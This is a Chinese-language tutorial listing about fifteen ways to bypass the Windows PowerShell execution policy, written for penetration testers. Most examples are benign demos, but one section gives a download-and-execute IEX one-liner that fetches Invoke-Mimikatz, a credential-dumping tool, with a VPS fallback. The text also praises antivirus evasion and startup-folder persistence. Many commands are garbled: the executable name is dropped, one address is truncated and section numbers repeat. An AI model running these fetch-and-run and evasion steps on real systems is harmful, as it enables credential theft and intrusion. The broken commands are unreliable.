绕过PowerShell执⾏策略⽅法
前⾔:
默认情况下,PowerShell配置为阻⽌Windows系统上执⾏PowerShell脚本。对于渗透测试⼈员,系统管理员和开发⼈员⽽⾔,这可能是⼀个障碍,但并⾮必须如此。
什么是PowerShell执⾏策略?
PowerShell execution policy 是⽤来决定哪些类型的PowerShell脚本可以在系统中运⾏。默认情况下,它是“Restricted”(限制)的。然⽽,这个设置从来没有算是⼀种安全控制。相反,它会阻碍管理员操作。这就是为什么我们有这么多绕过它的⽅法。
为什么我们要绕过执⾏政策?
因为⼈们希望使⽤脚本实现⾃动化操作,powershell为什么受到管理员、渗透测试⼈员、⿊客的青睐,原因如下:
Windows原⽣⽀持
能够调⽤Windows API
能够运⾏命令⽽⽆需写⼊磁盘(可直接加载⾄内存,⽆⽂件落地)
能够避免被反病毒⼯具检测
⼤多数应⽤程序⽩名单解决⽅案已将其标记为“受信任”
⼀种⽤于编写许多开源Pentest⼯具包的媒介
如何查看执⾏策略
在能够使⽤所有完美功能的PowerShell之前,攻击者可以绕过“Restricted”(限制)execution policy。你可以通过PowerShell命
令“executionpolicy“看看当前的配置。如果你第⼀次看它的设置可能设置为“Restricted”(限制),如下图所⽰:
Get-ExecutionPolicy
同样值得注意的是execution policy可以在系统中设置不同的级别。要查看他们使⽤下⾯的命令列表。更多信息可以点击这⾥查看微软
shell最简单脚本
的“Set-ExecutionPolicy” 。
Get-ExecutionPolicy -List | Format-Table -AutoSize
我们先将powershell执⾏策略设置为Restricted(限制),⽅便进⾏后续测试绕过PowerShell Execution Policy。
Set-ExecutionPolicy Restricted
绕过PowerShell执⾏策略
1、直接在Interactive PowerShell控制台中输⼊powershell代码
复制并粘贴你的PowerShell脚到⼀个交互式控制台,如下图所⽰。但是,请记住,你将受到当前⽤户权限限制。这是最基本的例⼦,当你有⼀个交互控制台时,可以⽅便快速地运⾏脚本。此外,这种技术不会更改配置或需要写⼊磁盘。
Write-Host "It's run!";
2、echo脚本并将其通过管道传递到PowerShell
简单的ECHO脚本到PowerShell的标准输⼊。这种技术不会导致配置的更改或要求写⼊磁盘。
Echo Write-Host "It's run!" | -noprofile -
3、从⽂件读取脚本并通过管道传输到PowerShell
使⽤Windows的"type"命令或PowerShell的"Get-Content"命令来从磁盘读取你的脚本并输⼊到标准的PowerShell中,这种技术不会导致配置⽂件的更改,但是需要写⼊磁盘。然⽽,如果你想试图避免写到磁盘,你可以从⽹络上远程读取你的脚本。
例1:Get-Content Powershell命令
Get-Content .\demo.ps1 | -noprofile -
例2:Type 命令
type .\demo.ps1 | -noprofile -
4、从远程下载脚本并通过IEX执⾏
这种技术可以⽤来从⽹上下载⼀个PowerShell脚本并执⾏它⽆需写⼊磁盘。它也不会导致任何配置更
改。
powershell -nop -c "iex(New-Object
Net.WebClient).DownloadString('raw.githubusercontent/Micr067/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1')"
如⽆法使⽤github下载可换vps:
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('156:10001/demo.ps1')"
5、使⽤使⽤command命令
这种技术和通过复制和粘贴来执⾏⼀个脚本是⾮常相似的,但它可以做没有交互式控制台。这是很好的⽅式适合执⾏简单的脚本,但更复杂的脚本通常容易出现错误。这种技术不会导致配置更改或要求写⼊磁盘。
例1:完整的命令
Powershell -command "Write-Host "Its run!"";
⽰例2:简短命令(-c)
Powershell -c "Write-Host "It’s run!'"
可能还值得注意的是,您可以将这些类型的PowerShell命令放⼊批处理⽂件中,并将它们放⼊⾃动运⾏的位置(如所有⽤户的启动⽂件夹),以在权限提升期间提供帮助。
6、使⽤EncodeCommand命令
这和使⽤"Command"命令⾮常像,但它为所有的脚本提供了⼀个Unicode / Base64编码串。通过这种⽅式加密你的脚本可以帮你绕过所有通过"Command"执⾏时会遇到的错误。这种技术不会导致配置⽂件的更改或要求写⼊磁盘。
例1: 完整的命令
$command = "Write-Host 'Its run!'"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
$encodedCommand
< -EncodedCommand $encodedCommand
⽰例2:通过简短的命令使⽤编码字符串
< -Enc VwByAGkAdABlAC0ASABvAHMAdAAgACcASQB0AHMAIAByAHUAbgAhACcA
7、使⽤Invoke-Command命令
这是⼀个典型的通过交互式PowerShell控制台执⾏的⽅法。但最主要的是当PowerShell远程处理开启时我们可以⽤它来对远程系统执⾏命令。这种技术不会导致配置更改或要求写⼊磁盘。
Invoke-command -scriptblock {Write-Host "Its run!"}
8、下⾯的命令还可以⽤来抓取从远程计算机的execution policy并将其应⽤到本地计算机。
Invoke-command -computername PAYLOAD\WIN-DC -scriptblock {get-executionpolicy} | set-executionpolicy -force
这种⽅式经测试不可⾏。
域环境下:
⼯作组下:
9、使⽤Invoke-Expression命令
这是另⼀个典型的通过交互式PowerShell控制台执⾏的⽅法。这种技术不会导致配置更改或要求写⼊磁盘。下⾯我列举了⼀些常⽤的⽅法来通过Invoke-Expression绕过execution policy。
例1:使⽤Get-Content的完整命令
Get-Content .\demo.ps1 | Invoke-Expression
⽰例2:使⽤Get-Content的简短命令
GC .\demo.ps1 | iex
10、使⽤“Bypass”绕过Execution Policy
当你通过脚本⽂件执⾏命令的时候这是⼀个很好的绕过execution policy的⽅法。当你使⽤这个标记的时候"没有任何东西被阻⽌,没有任何警告或提⽰"。这种技术不会导致配置更改或要求写⼊磁盘。
< -ExecutionPolicy Bypass -File .\demo.ps1
11、使⽤“Unrestricted”标记Execution Policy
这类似于"Bypass"标记。当你使⽤这个标记的时候,它会"加载所有的配置⽂件并运⾏所有的脚本。如果你运⾏从⽹上下载的⼀个未被签名的脚本,它会提⽰你需要权限",这种技术不会导致配置的更改或要求写⼊磁盘。
< -ExecutionPolicy UnRestricted -File .\demo.ps1
12、使⽤“Remote-Signed”标记Execution Policy
要想绕过执⾏限制,需要按照如下教程操作对脚本进⾏数字签名。
直接使⽤Remote-signed标记脚本⽆法运⾏的
< -ExecutionPolicy Remote-signed -File .\demo.ps1
13、通过交换AuthorizationManager禁⽤ExecutionPolicy
下⾯的函数可以通过⼀个交互式的PowerShell来执⾏。⼀旦函数被调⽤"AuthorizationManager"就会被替换成空。最终结果是,接下来的会话基本上不受execution policy的限制。然⽽,它的变化将被应⽤于会话的持续时间。
function Disable-ExecutionPolicy {($ctx = $pe().getfield("_context","nonpublic,instance").getvalue( $executioncontext)).gettype().getfield("_authorizationManager","nonpublic,instance").setvalue($ctx, (new-object
System.Management.Automation.AuthorizationManager "Microsoft.PowerShell"))}
Disable-ExecutionPolicy
.\demo.ps1
13、把ExcutionPolicy设置成Process Scope
执⾏策略可以应⽤于多层次的。这包括你控制的过程。使⽤这种技术,执⾏策略可以被设置为您的会话的持续时间不受限制。此外,它不会导致配置更改或需要写⼊到磁盘。
Set-ExecutionPolicy Bypass -Scope Process
14、通过命令设置ExcutionPolicy为CurrentUser Scope
这种⽅法和上⾯那种类似。但是这种⽅法通过修改注册表将当前⽤户环境的设置应⽤到当前⽤户的环境中。此外,它不会导致在配置更改或需要写⼊到磁盘。
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
15、通过注册表设置ExcutionPolicy为CurrentUser Scope
在这个例⼦中,展⽰了如何通过修改注册表项来改变当前⽤户的环境的执⾏策略。
HKEY_CURRENT_USER\Software\MicrosoftPowerShell\1\ShellIds\Microsoft.PowerShell
总结总结
使⽤的execution policy可以帮助我们绕过powershell默认的限制,⽅便我们对windows更加灵活的管理。微软从来没有打算将这种限制作为⼀种安全控制。这就是为什么有这么多⽅式可以绕过它。